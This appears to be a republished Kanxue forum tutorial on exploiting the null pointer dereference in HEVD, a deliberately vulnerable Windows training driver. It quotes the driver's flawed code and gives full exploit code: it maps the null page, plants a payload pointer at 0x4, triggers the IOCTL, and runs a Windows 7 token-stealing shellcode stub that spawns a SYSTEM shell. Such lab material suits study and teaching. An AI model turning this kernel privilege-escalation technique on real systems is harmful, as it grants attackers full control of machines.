内核漏洞学习-HEVD-NullPointerDereference
本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa
1
概述
环境准备:
2
前置知识
指针的三种错误使用:
1、由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露
2、野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。
3、Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。
p=NULL 后:p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。调用null指针,执行shellcode。
3
漏洞点分析
NTSTATUS
TriggerNullPointerDereference(
_In_ PVOID UserBuffer
)
{
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
//
// Allocate Pool chunk
//
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG
);
if (!NullPointerDereference)
{
//
// Unable to allocate Pool chunk
//
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}
//
// Get the value from user mode
//
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
//
// Validate the magic value
//
if (UserValue == MagicValue)
{
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else
{
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
//
// Free the allocated Pool chunk
//
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
//
// Set to NULL to avoid dangling pointer
//
NullPointerDereference = NULL;
}
#ifdef SECURE
//
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
//
if (NullPointerDereference)
{
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
//
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
//
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
4
漏洞利用
HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case。
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
break;
NTSTATUS
NullPointerDereferenceIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
if (UserBuffer)
{
Status = TriggerNullPointerDereference(UserBuffer);
}
return Status;
}
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int main()
{
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[-]failed to get device handle !");
return FALSE;
}
printf("[+]success to get device handle");
if (hDevice) {
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0x12345678;
DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);
}
}
BOOL MapNullPage() {
HMODULE hNtdll;
SIZE_T RegionSize = 0x1000; // will be rounded up to the next host
// page size address boundary -> 0x2000
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
// page size address boundary -> 0x00000000
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
hNtdll = GetModuleHandle("ntdll.dll");
// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
// Allocate the Virtual memory
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (NtStatus != STATUS_SUCCESS) {
DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
}
FreeLibrary(hNtdll);
return TRUE;
ULONG MagicValue = 0xBAADF00D;
PVOID EopPayload = &TokenStealingPayloadWin7Generic;
__try {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Mapping Null Page\n");
if (!MapNullPage()) {
DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");
NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);
// Now set the function pointer
*(PULONG)NullPointerPlus4 = (ULONG)EopPayload;
DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4);
DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
(LPVOID)&MagicValue,
0,
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
#include<stdio.h>
#include<Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef NTSTATUS
(WINAPI* NtAllocateVirtualMemory1)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;
HANDLE hDevice = NULL;
static VOID payload()
{
_asm
{
//.....
}
}
int main()
{
//获得device handle
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get handle \n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
printf("[+]Success to get handle\n");
DWORD aReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0x123456789;//触发漏洞
//申请0页内存
(FARPROC*)NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[-]Failed to get NtAllocateVirtualMemory address \n");
system("pause");
return 0;
}
else
printf("[+]success to get NtAllocateVirtualMemory address \n");
PVOID basedaress = (PVOID)1;
SIZE_T allockSize = 0x1000;
NTSTATUS status= NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&basedaress,
0,
&allockSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if(status<0)
{
printf("[-]NtAllocateVirtualMemory write failed\n");
system("pause");
return 0;
}
printf("[+]NtAllocateVirtualMemory write success \n");
*(DWORD*)(0x4) = (DWORD)&payload;
//调用TriggerNullPointerDereference函数
DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);
//提权启动cmd
printf("[+]Start to Create cmd...\n");
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
system("pause");
return 0;
}
_KPCR
+0x120 PrcbData : _KPRCB
_KPRCB
+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState : _KAPC_STATE
_KAPC_STATE
+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
+0x0b4 UniqueProcessId : Ptr32 Void,当前进程ID,系统进程ID=0x04
+0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
+0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
}
}
申请0页内存
将payload放入内存任意位置
并在0x4地址放入payload地址
调用TriggerNullPointerDereference函数
提权启动cmd
E N D
看雪ID:pyikaaaa
https://bbs.pediy.com/user-home-921642.htm
# 往期推荐
点击“阅读原文”了解更多
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接